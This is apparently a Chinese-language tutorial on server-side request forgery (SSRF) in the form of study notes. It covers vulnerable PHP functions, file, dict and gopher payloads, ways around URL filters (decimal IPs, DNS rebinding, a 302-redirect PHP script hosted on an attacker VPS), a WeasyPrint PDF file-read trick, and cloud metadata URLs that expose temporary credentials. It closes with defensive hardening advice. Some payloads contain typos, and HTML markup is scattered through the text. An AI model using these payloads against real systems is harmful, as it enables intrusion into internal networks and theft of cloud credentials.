SSRF全称:Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。
SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。漏洞URL示例: http://xxx.com/api/readFiles?url=http://10.1.11/xxx
1、可以对服务器所在的内网环境进行端口扫描、资源访问
2、利用漏洞和Payload进一步攻击运行其他的应用程序;
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现
4、GET型漏洞利用,GET参数就可以实现的攻击,比如struts2漏洞利用等
5、POST型漏洞利用,可利用gopher协议进行参数构造;
6、利用Redis未授权访问getshell、Weblogic默认SSRF漏洞页面
7、如果ssrf漏洞存在于云服务器
攻击元数据服务
攻击存储桶
攻击Kubelet API
越权攻击云平台内其他组件或服务
1、通过URL地址进行网页分享;
http://share.xxx.com/index.php?url=http://www.xxx.com
2、转码服务,通过URL地址把原地址的网页转换格式
3、图片加载与下载,一般是通过url参数进行图片获取
http://image.xxx.com/image.php?image=http://www.xxx.com
4、未公开的api实现以及其他调用url的功能;
5、设备后台管理进行存活测试;
6、远程资源调用功能;
7、数据库内置功能;
8、编辑器进行远程图片抓取,如: ueditor;
9、打包附件或者内容编辑并导出时
10、PDF生成或导出
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...
根据后台使用的函数的不同,相应的影响和利用方法也不一样,PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
这个函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法。
比如:下面的代码执行结果是输出test.txt文件里面的字符串。
<?php
echo file_get_contents(“test.txt”);
?>
使用fsockopen函数实现获取用户制定url的数据(文件或者html)。
该函数可以执行给定的curl会话。
[[email protected]]# curl -V
curl 7.83.1 (Windows) libcurl/7.83.1 Schannel
Release-Date: 2022-05-13
Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp
Features: AsynchDNS HSTS IPv6 Kerberos Largefile NTLM SPNEGO SSL SSPI UnixSockets
SSRF常用的攻击协议: http(s)、file、dict、gopher
Http协议: 最常用的SSRF漏洞利用协议,作用为直接访问http资源。如: http://xxx.com/api/readFiles?url=http.//10.1.1.1/x
File协议:可利用此协议进行服务器文件读取如:http://xxx.com/api/readFiles?url=file:///ete/passwd
Dict协议:可用此协议进行端口开放探测如:http://xxx.com/api/readFiles?url=dict//1000.1:22
Gopher协议: gopher支持发出GET、POST请求,可进行复杂的漏洞利用
例如,内网中的一处其他的漏洞URL为: http://xxx.com/get.php?name=admin
尝试用gopher协议调用此代码,先构造一个GET请求体:
GET /get.php?name=admin HTTP/1.1Host:192.168.1.120
转化为gopher协议请求:
gopher://192.168.1.120:80/ GET%20/get.php%3fname=admin%20HTTP/1.1%0d%0aHost:xxx.com%0d%0aRequest
由于SSRF漏洞危害较大,并且容易出现在各种功能点中,因此开发人员常常对请求资源的域名、IP进行白名单或者黑名单的限制过滤。
一般情况下利用URL解析导致SSRF过滤被绕过基本上都是因为后端通过不正确的正则表达式对URL进行了解析。
例如http://[email protected],则实际上访问的是 10.10.10.10
一般用于.jpg等固定后缀不可更改
例如http://10.10.10.10:5001/#/abc.jpg,实际在浏览器访问的是 http://10.10.10.10:5001
在浏览器中可以使用不同的分割符号来代替域名中的.
分割,可以使用。
、。
、.
来代替
例如:
10.10.10.10.xip.io 会被解析成10.10.10.10
127.0.0.1的十进制: 2130706433,HTTP访问: http://2130706433/
https://www.985.so/
127.0.0.1的八进制: 0177.0.0.1,十六进制: 0x7f.0.0.1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
①②⑦. ⓪.⓪.①>>> 127.0.0.1
一般进行 ssrf 防御的模式如下:
获取到输入的URL,从该URL中提取host
对该host进行DNS解析,获取到解析的IP
访问规则判断该IP是否在指定范围内(即判断IP是否符合规则)
如果IP在范围内,即对此URL发起请求
如果IP不在范围内,则请求失败
然而访问规则在判段得到的IP为指定范围内IP,到服务端请求URL这个中间还存在一个细微的时间差,
DNS重绑定则是利用这一点,让服务器第一次解析host的ip为符合规则的公网IP,在第二次请求解析URL时host的ip又变为了不符合规则的内网IP,从而进行ssrf。
这里推荐使用burpsuite的intruder模块,来批量发送请求,以利用时间差完成ssrf。
在线DNS重绑定平台:https://lock.cmpxchg8b.com/rebinder.html
需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
服务端代码如下:
<?php
header("Location: http://192.168.1.10");
exit();
?>
http://[::1] http://[::]:80/ http://0:80
如禁用了部分协议,尝试转换使用协议;
http(s)、file、dict、gopher、(sftp、ldap、tftp)
漏洞原理:在导入/上传图片、数据等内容时时将图片链接换成dnslog链接,服务器则在请求资源时会访问dnslog链接
Vps 设置 302 跳转 访问内网
302.php
<?php
header("HTTP/1.1 302 found");
header("Location:http://10.x.x.x:5001/index?host=dnslog.requestrepo.com");
exit();
?>
POST /api/apimanage/trans/getThirdPartSwaggerJsonByAddr/ HTTP/1.1
Host: apicloud.xxx.com
Cookie:xxx=xxx
{"addr":"http://106.12.xx.xx/302.php"}
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎,可以将HTML文档导出为打印标准的PDF文件。
WeasyPrint重新定义了一组html标签,包括img,embed,object等。根据我们之前的测试,我们已经知道javascript不是利用这一点的选项。在这一点上,我们的希望很低,我们开始认为PDF生成器不再可利用,直到我们发现对<链接>内部的几个文件的引用,包括pdf.py。这使我们能够通过使用 将任何网页或本地文件的内容附加到我们的 PDF 中。
<link rel=attachment href="file:///root/secret.txt">
特殊标签用法:在html标签前的双引号符号(”),补充单引号('),会被允许在PDF中解析
最终使用<iframe>遵循特殊标签用法处理插入后,成功外连,漏洞存在</p> <p><img src="C:\Users\29200\AppData\Roaming\Typora\typora-user-images\image-20230226155035834.png" alt="image-20230226155035834"></p> <p>进一步利用</p> <p>使用file协议,获取敏感文件</p> <pre><code><link rel=attachment href="file:///root/secret.txt"></code></pre> <p><img src="C:\Users\29200\AppData\Roaming\Typora\typora-user-images\image-20230226155458930.png" alt="image-20230226155458930"></p> <h4>云上ssrf利用</h4> <p>云服务器一般会公开每个实例的内部服务(一般在帮助文档中都能查看)</p> <p>如果发现云服务器中的 SSRF 漏洞,可以直接查询主机实例的元数据从⽽进⼀步深⼊利⽤。</p> <p>腾讯云:</p> <pre><code>访问元数据 http://metadata.tencentyun.com/latest/meta-data/ 获取 metadata 版本信息。 查询实例元数据。 http://metadata.tencentyun.com/latest/meta-data/placement/region 获取实例物理所在地信息。 http://metadata.tencentyun.com/latest/meta-data/local-ipv4 获取实例内⽹ IP。实例存在多张⽹卡时,返回 eth0 设备的⽹络地址。 http://metadata.tencentyun.com/latest/meta-data/public-ipv4 获取实例公⽹ IP。 http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id 实例⽹络接⼝ VPC ⽹络 ID。 在获取到⻆⾊名称后,可以通过以下链接取⻆⾊的临时凭证,${role-name} 为 CAM ⻆⾊ 的名称: http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role name}</code></pre> <p>阿里云:</p> <pre><code>查看实例元数据的根目录 http://100.100.100.200/latest/meta-data 查看实例ID: http://100.100.100.200/latest/meta-data/instance-id 访问RAM 角色的临时凭证: http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取AK SK信息 http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role</code></pre> <p>具体云上ssrf漏洞案例可自行查看文章:</p> <pre><code>https://www.wangan.com/p/7fy784ff26339e4e https://hackerone.com/reports/341876 http://www.myzaker.com/article/60c181bb8e9f0941bb67ffac https://help.aliyun.com/document_detail/108460.html#section-w35-csp-imo</code></pre> <h2>ssrf - 加固和防御</h2> <p>内网环境下ssrf</p> <ol> <li>去除url中的特殊字符 </li> <li>将域名解析为IP,对内网IP进行限制</li> <li>不跟随30x跳转(跟随跳转需要从1开始重新检测)</li> <li>禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https</li> <li>请求时设置host header为ip </li> <li>统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。</li> </ol> <p>云上ssrf</p> <ol> <li><p>加固模式</p> <p>加固模式下,实例基于token鉴权查看实例元数据,相比普通模式对SSRF攻击有更好的防范效果。</p> <p></p> </li> <li><p>普通模式</p> </li> </ol> <p> 限制用户RAM角色权限,只赋予自己所需要的权限,这样可以将影响程度降到最低。</p> <p></p> <p>( 以下为阿里云官方文档中普通模式和加固模式的对比)</p> <p><img src="C:\Users\29200\AppData\Roaming\Typora\typora-user-images\image-20230226224559444.png" alt="image-20230226224559444"></p> <p><img src="C:\Users\29200\AppData\Roaming\Typora\typora-user-images\image-20230226225226391.png" alt="image-20230226225226391"></p> <h2>参考文章:</h2> <p><a href="http://blog.leanote.com/post/snowming/e2c24cf057a4">http://blog.leanote.com/post/snowming/e2c24cf057a4</a></p> <p><a href="https://mp.weixin.qq.com/s/RWmyPp9CBFjANz162_fBgA?exportid=export/UzFfAgtgekIEAQAAAAAAiqcJ9zQpKgAAAAstQy6ubaLX4KHWvLEZgBPE7YFwdxMPKLqBzNPgMItebr37kwBZSL05nyRkt6-j&sessionid=-1948127107">https://mp.weixin.qq.com/s/RWmyPp9CBFjANz162_fBgA?exportid=export/UzFfAgtgekIEAQAAAAAAiqcJ9zQpKgAAAAstQy6ubaLX4KHWvLEZgBPE7YFwdxMPKLqBzNPgMItebr37kwBZSL05nyRkt6-j&sessionid=-1948127107</a></p> <p><a href="https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/">https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/</a></p> <p><a href="https://zhuanlan.zhihu.com/p/419610674">https://zhuanlan.zhihu.com/p/419610674</a></p> <p><a href="https://cloud.tencent.com/developer/article/1942119">https://cloud.tencent.com/developer/article/1942119</a></p> <p><a href="https://blog.csdn.net/qq_43531669/article/details/113052373">https://blog.csdn.net/qq_43531669/article/details/113052373</a></p> <p><a href="https://help.aliyun.com/document_detail/108460.htm?spm=a2c4g.11186623.0.0.61c42032asxaiH#concept-dwj-y1x-wgb">https://help.aliyun.com/document_detail/108460.htm?spm=a2c4g.11186623.0.0.61c42032asxaiH#concept-dwj-y1x-wgb</a></p> </iframe>